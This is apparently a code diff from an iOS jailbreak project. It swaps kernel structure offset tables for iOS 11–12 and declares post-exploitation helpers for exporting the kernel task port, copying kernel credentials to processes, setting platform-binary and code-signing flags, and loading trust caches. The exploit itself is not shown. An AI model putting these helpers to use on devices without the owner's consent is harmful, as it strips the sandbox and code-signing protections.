void prepare_rk_via_kmem_read_port(mach_port_t port);
void prepare_rwk_via_tfp0(mach_port_t port);
-351
View File
@@ -1,351 +0,0 @@
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "KernelOffsets.h"
#include <common.h>
#include "utils.h"
uint32_t* offsets = NULL;
uint32_t kernel_offsets_11_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
0x28, // KSTRUCT_OFFSET_TASK_NEXT
0x30, // KSTRUCT_OFFSET_TASK_PREV
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_TASK_LOCK
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
0x10, // KSTRUCT_OFFSET_PROC_PID
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
0x40, // KSTRUCT_OFFSET_PROC_SVUID
0x44, // KSTRUCT_OFFSET_PROC_SVGID
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
0x18, // KSTRUCT_SIZE_IPC_ENTRY
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
0x6c, // KFREE_ADDR_OFFSET
};
uint32_t kernel_offsets_11_3[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
0x28, // KSTRUCT_OFFSET_TASK_NEXT
0x30, // KSTRUCT_OFFSET_TASK_PREV
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_TASK_LOCK
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
0x10, // KSTRUCT_OFFSET_PROC_PID
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
0x40, // KSTRUCT_OFFSET_PROC_SVUID
0x44, // KSTRUCT_OFFSET_PROC_SVGID
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
0x18, // KSTRUCT_SIZE_IPC_ENTRY
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
0x6c, // KFREE_ADDR_OFFSET
};
uint32_t kernel_offsets_12_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
0x28, // KSTRUCT_OFFSET_TASK_NEXT
0x30, // KSTRUCT_OFFSET_TASK_PREV
0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE
#if __arm64e__
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
#else
0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO
#endif
#if __arm64e__
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
#else
0x398, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
#endif
#if __arm64e__
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
#else
0x3a0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
#endif
#if __arm64e__
0x400, // KSTRUCT_OFFSET_TASK_TFLAGS
#else
0x390, // KSTRUCT_OFFSET_TASK_TFLAGS
#endif
0x0, // KSTRUCT_OFFSET_TASK_LOCK
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
0x60, // KSTRUCT_OFFSET_PROC_PID
0x100, // KSTRUCT_OFFSET_PROC_P_FD
0x10, // KSTRUCT_OFFSET_PROC_TASK
0xf8, // KSTRUCT_OFFSET_PROC_UCRED
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
0x290, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
0x3f8, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
0x50, // KSTRUCT_OFFSET_PROC_MLOCK
0xe8, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
0x32, // KSTRUCT_OFFSET_PROC_SVUID
0x36, // KSTRUCT_OFFSET_PROC_SVGID
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
0x18, // KSTRUCT_SIZE_IPC_ENTRY
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
0x6c, // KFREE_ADDR_OFFSET
};
uint32_t koffset(enum kernel_offset offset)
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
LOG("kCFCoreFoundationVersionNumber: %f", kCFCoreFoundationVersionNumber);
if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) {
LOG("offsets selected for iOS 12.0 or above");
offsets = kernel_offsets_12_0;
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_3) {
LOG("offsets selected for iOS 11.3 or above");
offsets = kernel_offsets_11_3;
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_0) {
LOG("offsets selected for iOS 11.0 to 11.2.6");
offsets = kernel_offsets_11_0;
} else {
LOG("iOS version too low, 11.0 required");
offsets = NULL;
}
});
if (offsets == NULL) {
return 0;
}
return offsets[offset];
}
@@ -1,9 +1,7 @@
#ifndef KernelOffsets_h
#define KernelOffsets_h
extern uint32_t* offsets;
enum kernel_offset {
enum kstruct_offset {
/* struct task */
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
KSTRUCT_OFFSET_TASK_REF_COUNT,
@@ -16,7 +14,6 @@ enum kernel_offset {
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
KSTRUCT_OFFSET_TASK_TFLAGS,
KSTRUCT_OFFSET_TASK_LOCK,
/* struct ipc_port */
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
@@ -35,12 +32,6 @@ enum kernel_offset {
KSTRUCT_OFFSET_PROC_TASK,
KSTRUCT_OFFSET_PROC_UCRED,
KSTRUCT_OFFSET_PROC_P_LIST,
KSTRUCT_OFFSET_PROC_P_CSFLAGS,
KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE,
KSTRUCT_OFFSET_PROC_MLOCK,
KSTRUCT_OFFSET_PROC_UCRED_MLOCK,
KSTRUCT_OFFSET_PROC_SVUID,
KSTRUCT_OFFSET_PROC_SVGID,
/* struct filedesc */
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
@@ -65,64 +56,20 @@ enum kernel_offset {
KSTRUCT_OFFSET_VNODE_V_MOUNT,
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
KSTRUCT_OFFSET_VNODE_V_LOCK,
KSTRUCT_OFFSET_VNODE_V_DATA,
/* struct specinfo */
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
/* struct mount */
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
KSTRUCT_OFFSET_MOUNT_MNT_DATA,
KSTRUCT_OFFSET_MOUNT_MNT_MLOCK,
/* struct host */
KSTRUCT_OFFSET_HOST_SPECIAL,
/* struct ucred */
KSTRUCT_OFFSET_UCRED_CR_REF,
KSTRUCT_OFFSET_UCRED_CR_UID,
KSTRUCT_OFFSET_UCRED_CR_RUID,
KSTRUCT_OFFSET_UCRED_CR_SVUID,
KSTRUCT_OFFSET_UCRED_CR_NGROUPS,
KSTRUCT_OFFSET_UCRED_CR_GROUPS,
KSTRUCT_OFFSET_UCRED_CR_RGID,
KSTRUCT_OFFSET_UCRED_CR_SVGID,
KSTRUCT_OFFSET_UCRED_CR_GMUID,
KSTRUCT_OFFSET_UCRED_CR_FLAGS,
KSTRUCT_OFFSET_UCRED_CR_LABEL,
/* struct label */
KSTRUCT_OFFSET_LABEL_L_FLAGS,
KSTRUCT_OFFSET_LABEL_L_PERPOLICY,
/* struct ipc_entry */
KSTRUCT_SIZE_IPC_ENTRY,
KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS,
/* struct vnode */
KSTRUCT_OFFSET_VNODE_V_FLAG,
/* vtable OSDictionary */
KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP,
KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP,
KVTABLE_OFFSET_OSDICTIONARY_MERGE,
/* vtable OSArray */
KVTABLE_OFFSET_OSARRAY_MERGE,
KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT,
KVTABLE_OFFSET_OSARRAY_GETOBJECT,
/* vtable OSObject */
KVTABLE_OFFSET_OSOBJECT_RELEASE,
KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT,
KVTABLE_OFFSET_OSOBJECT_RETAIN,
/* vtable OSString */
KVTABLE_OFFSET_OSSTRING_GETLENGTH,
KFREE_ADDR_OFFSET,
};
uint32_t koffset(enum kernel_offset offset);
int koffset(enum kstruct_offset offset);
void offsets_init(void);
#endif
+145
View File
@@ -0,0 +1,145 @@
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "KernelStructureOffsets.h"
#include <common.h>
int* offsets = NULL;
int kstruct_offsets_11_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x6c, // KFREE_ADDR_OFFSET
};
int kstruct_offsets_11_3[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x7c, // KFREE_ADDR_OFFSET
};
int koffset(enum kstruct_offset offset)
{
if (offsets == NULL) {
LOG("need to call offsets_init() prior to querying offsets");
return 0;
}
return offsets[offset];
}
void offsets_init()
{
if (kCFCoreFoundationVersionNumber >= 1452.23) {
LOG("offsets selected for iOS 11.3 or above");
offsets = kstruct_offsets_11_3;
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
LOG("offsets selected for iOS 11.0 to 11.2.6");
offsets = kstruct_offsets_11_0;
} else {
LOG("iOS version too low, 11.0 required");
exit(EXIT_FAILURE);
}
}
File diff suppressed because it is too large Load Diff
+28 -163
View File
@@ -3,179 +3,44 @@
#include <common.h>
#include <mach/mach.h>
#include <offsetcache.h>
#include <stdbool.h>
#if 0
Credits:
- https://stek29.rocks/2018/01/26/sandbox.html
- https://stek29.rocks/2018/12/11/shenanigans.html
- http://newosxbook.com/QiLin/qilin.pdf
- https://github.com/Siguza/v0rtex/blob/e6d54c97715d6dbcdda8b9a8090484a7a47019d0/src/v0rtex.m#L1623
#endif
#define SETOFFSET(offset, val) (offs.offset = val)
#define GETOFFSET(offset) offs.offset
#if 0
TODO:
- Patchfind proc_lock (High priority)
- Patchfind proc_unlock (High priority)
- Patchfind proc_ucred_lock (High priority)
- Patchfind proc_ucred_unlock (High priority)
- Patchfind vnode_lock (Low priority)
- Patchfind vnode_unlock (Low priority)
- Patchfind mount_lock (Low priority)
- Patchfind mount_unlock (Low priority)
- Patchfind task_set_platform_binary (High priority)
- Patchfind kauth_cred_ref (Low priority)
- Patchfind kauth_cred_unref (Low priority)
- Patchfind chgproccnt (Low priority)
- Patchfind kauth_cred_ref (Low priority)
- Patchfind kauth_cred_unref (Low priority)
- Patchfind extension_destroy (Low priority)
- Patchfind extension_create_mach (Middle priority)
- Use offsetof with XNU headers to find structure offsets (Low priority)
- Update Unrestrict to implement the kernel calls
#endif
typedef struct {
kptr_t trustcache;
kptr_t OSBoolean_True;
kptr_t osunserializexml;
kptr_t smalloc;
kptr_t add_x0_x0_0x40_ret;
kptr_t zone_map_ref;
kptr_t vfs_context_current;
kptr_t vnode_lookup;
kptr_t vnode_put;
kptr_t kernel_task;
kptr_t shenanigans;
kptr_t lck_mtx_lock;
kptr_t lck_mtx_unlock;
} offsets_t;
#define setoffset(offset, val) set_offset(#offset, val)
#define getoffset(offset) get_offset(#offset)
#define OSBoolTrue getOSBool(true)
#define OSBoolFalse getOSBool(false)
extern kptr_t kernel_base;
extern offsets_t offs;
extern uint64_t kernel_base;
extern uint64_t kernel_slide;
extern kptr_t cached_proc_struct_addr;
extern kptr_t cached_task_self_addr;
extern bool found_offsets;
uint64_t task_self_addr(void);
uint64_t ipc_space_kernel(void);
uint64_t find_kernel_base(void);
kptr_t task_self_addr(void);
kptr_t ipc_space_kernel(void);
kptr_t find_kernel_base(void);
kptr_t current_thread(void);
uint64_t current_thread(void);
mach_port_t fake_host_priv(void);
int message_size_for_kalloc_size(int kalloc_size);
kptr_t get_kernel_proc_struct_addr(void);
bool iterate_proc_list(void (^handler)(kptr_t, pid_t, bool *));
kptr_t get_proc_struct_for_pid(pid_t pid);
kptr_t proc_struct_addr(void);
kptr_t get_address_of_port(kptr_t proc, mach_port_t port);
kptr_t get_kernel_cred_addr(void);
kptr_t give_creds_to_process_at_addr(kptr_t proc, kptr_t cred_addr);
bool set_platform_binary(kptr_t proc, bool set);
kptr_t zm_fix_addr(kptr_t addr);
bool verify_tfp0(void);
extern int (*pmap_load_trust_cache)(kptr_t kernel_trust, size_t length);
int _pmap_load_trust_cache(kptr_t kernel_trust, size_t length);
bool set_host_type(host_t host, uint32_t type);
bool export_tfp0(host_t host);
bool unexport_tfp0(host_t host);
bool set_csflags(kptr_t proc, uint32_t flags, bool value);
bool set_cs_platform_binary(kptr_t proc, bool value);
bool execute_with_credentials(kptr_t proc, kptr_t credentials, void (^function)(void));
uint32_t get_proc_memstat_state(kptr_t proc);
bool set_proc_memstat_state(kptr_t proc, uint32_t memstat_state);
